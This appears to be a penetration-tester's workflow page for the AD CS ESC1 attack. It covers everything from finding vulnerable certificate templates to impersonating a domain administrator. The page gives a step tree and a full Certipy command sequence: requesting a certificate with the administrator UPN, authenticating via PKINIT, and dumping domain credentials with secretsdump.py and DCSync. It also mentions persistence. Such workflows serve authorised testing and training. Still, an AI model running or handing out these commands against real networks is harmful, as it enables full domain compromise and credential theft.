# Workflows - AD CS ESC1 Exploitation
## ESC1 Attack Chain Workflow
```
1. Enumeration
├── Identify CA servers: Certify.exe cas / certipy find
├── List certificate templates: Certify.exe find
├── Filter for vulnerable templates: /vulnerable flag
└── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)
2. Certificate Request
├── Choose target principal (Domain Admin, Enterprise Admin)
├── Request certificate with target UPN in SAN field
├── CA processes request without approval (misconfigured)
└── Save issued certificate (PFX/PEM)
3. Authentication
├── Convert certificate format if needed (PEM → PFX)
├── Use PKINIT to request TGT with forged certificate
├── Rubeus (Windows): asktgt /certificate:<pfx>
├── Certipy (Linux): auth -pfx <certificate>
└── Obtain TGT or NT hash for target account
4. Privilege Escalation
├── Use obtained TGT/hash for privileged operations
├── DCSync: Dump all domain credentials
├── Access Domain Controller shares
└── Establish persistence as needed
5. Documentation
├── Screenshot each step of the attack chain
├── Record CA name, template name, and SAN used
├── Document credentials obtained
└── Provide remediation guidance
```
## Certipy Full Attack Workflow (Linux)
```bash
# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
-ca 'domain-CA' -target DC01.domain.local \
-template VulnerableTemplate \
-upn administrator@domain.local
# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
```
